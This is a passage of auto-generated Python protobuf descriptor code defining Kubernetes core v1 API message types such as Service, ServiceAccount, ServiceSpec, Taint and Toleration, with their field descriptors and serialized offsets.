file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33128, serialized_end=33205, ) _SERVICE = _descriptor.Descriptor( name='Service', full_name='k8s.io.api.core.v1.Service', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Service.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.Service.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.Service.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33208, serialized_end=33383, ) _SERVICEACCOUNT = _descriptor.Descriptor( name='ServiceAccount', full_name='k8s.io.api.core.v1.ServiceAccount', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ServiceAccount.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secrets', full_name='k8s.io.api.core.v1.ServiceAccount.secrets', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='imagePullSecrets', full_name='k8s.io.api.core.v1.ServiceAccount.imagePullSecrets', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='automountServiceAccountToken', full_name='k8s.io.api.core.v1.ServiceAccount.automountServiceAccountToken', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33386, serialized_end=33630, ) _SERVICEACCOUNTLIST = _descriptor.Descriptor( name='ServiceAccountList', full_name='k8s.io.api.core.v1.ServiceAccountList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ServiceAccountList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ServiceAccountList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33633, serialized_end=33770, ) _SERVICEACCOUNTTOKENPROJECTION = _descriptor.Descriptor( name='ServiceAccountTokenProjection', full_name='k8s.io.api.core.v1.ServiceAccountTokenProjection', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='audience', full_name='k8s.io.api.core.v1.ServiceAccountTokenProjection.audience', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='expirationSeconds', full_name='k8s.io.api.core.v1.ServiceAccountTokenProjection.expirationSeconds', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.ServiceAccountTokenProjection.path', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33772, serialized_end=33862, ) _SERVICELIST = _descriptor.Descriptor( name='ServiceList', full_name='k8s.io.api.core.v1.ServiceList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ServiceList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ServiceList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33864, serialized_end=33987, ) _SERVICEPORT = _descriptor.Descriptor( name='ServicePort', full_name='k8s.io.api.core.v1.ServicePort', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.ServicePort.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='protocol', full_name='k8s.io.api.core.v1.ServicePort.protocol', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='appProtocol', full_name='k8s.io.api.core.v1.ServicePort.appProtocol', index=2, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='port', full_name='k8s.io.api.core.v1.ServicePort.port', index=3, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='targetPort', full_name='k8s.io.api.core.v1.ServicePort.targetPort', index=4, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodePort', full_name='k8s.io.api.core.v1.ServicePort.nodePort', index=5, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=33990, serialized_end=34158, ) _SERVICEPROXYOPTIONS = _descriptor.Descriptor( name='ServiceProxyOptions', full_name='k8s.io.api.core.v1.ServiceProxyOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.ServiceProxyOptions.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=34160, serialized_end=34195, ) _SERVICESPEC_SELECTORENTRY = _descriptor.Descriptor( name='SelectorEntry', full_name='k8s.io.api.core.v1.ServiceSpec.SelectorEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ServiceSpec.SelectorEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ServiceSpec.SelectorEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29131, serialized_end=29178, ) _SERVICESPEC = _descriptor.Descriptor( name='ServiceSpec', full_name='k8s.io.api.core.v1.ServiceSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ports', full_name='k8s.io.api.core.v1.ServiceSpec.ports', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='selector', full_name='k8s.io.api.core.v1.ServiceSpec.selector', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='clusterIP', full_name='k8s.io.api.core.v1.ServiceSpec.clusterIP', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='clusterIPs', full_name='k8s.io.api.core.v1.ServiceSpec.clusterIPs', index=3, number=18, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.ServiceSpec.type', index=4, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='externalIPs', full_name='k8s.io.api.core.v1.ServiceSpec.externalIPs', index=5, number=5, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sessionAffinity', full_name='k8s.io.api.core.v1.ServiceSpec.sessionAffinity', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='loadBalancerIP', full_name='k8s.io.api.core.v1.ServiceSpec.loadBalancerIP', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='loadBalancerSourceRanges', full_name='k8s.io.api.core.v1.ServiceSpec.loadBalancerSourceRanges', index=8, number=9, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='externalName', full_name='k8s.io.api.core.v1.ServiceSpec.externalName', index=9, number=10, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='externalTrafficPolicy', full_name='k8s.io.api.core.v1.ServiceSpec.externalTrafficPolicy', index=10, number=11, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='healthCheckNodePort', full_name='k8s.io.api.core.v1.ServiceSpec.healthCheckNodePort', index=11, number=12, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='publishNotReadyAddresses', full_name='k8s.io.api.core.v1.ServiceSpec.publishNotReadyAddresses', index=12, number=13, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sessionAffinityConfig', full_name='k8s.io.api.core.v1.ServiceSpec.sessionAffinityConfig', index=13, number=14, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ipFamilies', full_name='k8s.io.api.core.v1.ServiceSpec.ipFamilies', index=14, number=19, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ipFamilyPolicy', full_name='k8s.io.api.core.v1.ServiceSpec.ipFamilyPolicy', index=15, number=17, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='allocateLoadBalancerNodePorts', full_name='k8s.io.api.core.v1.ServiceSpec.allocateLoadBalancerNodePorts', index=16, number=20, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='loadBalancerClass', full_name='k8s.io.api.core.v1.ServiceSpec.loadBalancerClass', index=17, number=21, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='internalTrafficPolicy', full_name='k8s.io.api.core.v1.ServiceSpec.internalTrafficPolicy', index=18, number=22, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_SERVICESPEC_SELECTORENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=34198, serialized_end=34861, ) _SERVICESTATUS = _descriptor.Descriptor( name='ServiceStatus', full_name='k8s.io.api.core.v1.ServiceStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='loadBalancer', full_name='k8s.io.api.core.v1.ServiceStatus.loadBalancer', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.ServiceStatus.conditions', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=34864, serialized_end=35010, ) _SESSIONAFFINITYCONFIG = _descriptor.Descriptor( name='SessionAffinityConfig', full_name='k8s.io.api.core.v1.SessionAffinityConfig', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='clientIP', full_name='k8s.io.api.core.v1.SessionAffinityConfig.clientIP', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35012, serialized_end=35089, ) _STORAGEOSPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='StorageOSPersistentVolumeSource', full_name='k8s.io.api.core.v1.StorageOSPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeName', full_name='k8s.io.api.core.v1.StorageOSPersistentVolumeSource.volumeName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeNamespace', full_name='k8s.io.api.core.v1.StorageOSPersistentVolumeSource.volumeNamespace', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.StorageOSPersistentVolumeSource.fsType', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.StorageOSPersistentVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.StorageOSPersistentVolumeSource.secretRef', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35092, serialized_end=35260, ) _STORAGEOSVOLUMESOURCE = _descriptor.Descriptor( name='StorageOSVolumeSource', full_name='k8s.io.api.core.v1.StorageOSVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeName', full_name='k8s.io.api.core.v1.StorageOSVolumeSource.volumeName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeNamespace', full_name='k8s.io.api.core.v1.StorageOSVolumeSource.volumeNamespace', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.StorageOSVolumeSource.fsType', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.StorageOSVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.StorageOSVolumeSource.secretRef', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35263, serialized_end=35426, ) _SYSCTL = _descriptor.Descriptor( name='Sysctl', full_name='k8s.io.api.core.v1.Sysctl', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.Sysctl.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.Sysctl.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35428, serialized_end=35465, ) _TCPSOCKETACTION = _descriptor.Descriptor( name='TCPSocketAction', full_name='k8s.io.api.core.v1.TCPSocketAction', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='port', full_name='k8s.io.api.core.v1.TCPSocketAction.port', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='host', full_name='k8s.io.api.core.v1.TCPSocketAction.host', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35467, serialized_end=35562, ) _TAINT = _descriptor.Descriptor( name='Taint', full_name='k8s.io.api.core.v1.Taint', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.Taint.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.Taint.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='effect', full_name='k8s.io.api.core.v1.Taint.effect', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='timeAdded', full_name='k8s.io.api.core.v1.Taint.timeAdded', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35564, serialized_end=35678, ) _TOLERATION = _descriptor.Descriptor( name='Toleration', full_name='k8s.io.api.core.v1.Toleration', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.Toleration.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='operator', full_name='k8s.io.api.core.v1.Toleration.operator', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.Toleration.value', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='effect', full_name='k8s.io.api.core.v1.Toleration.effect', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tolerationSeconds', full_name='k8s.io.api.core.v1.Toleration.tolerationSeconds', index=4, number=5, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35680, serialized_end=35781, ) _TOPOLOGYSELECTORLABELREQUIREMENT = _descriptor.Descriptor( name='TopologySelectorLabelRequirement', full_name='k8s.io.api.core.v1.TopologySelectorLabelRequirement', filename=None, 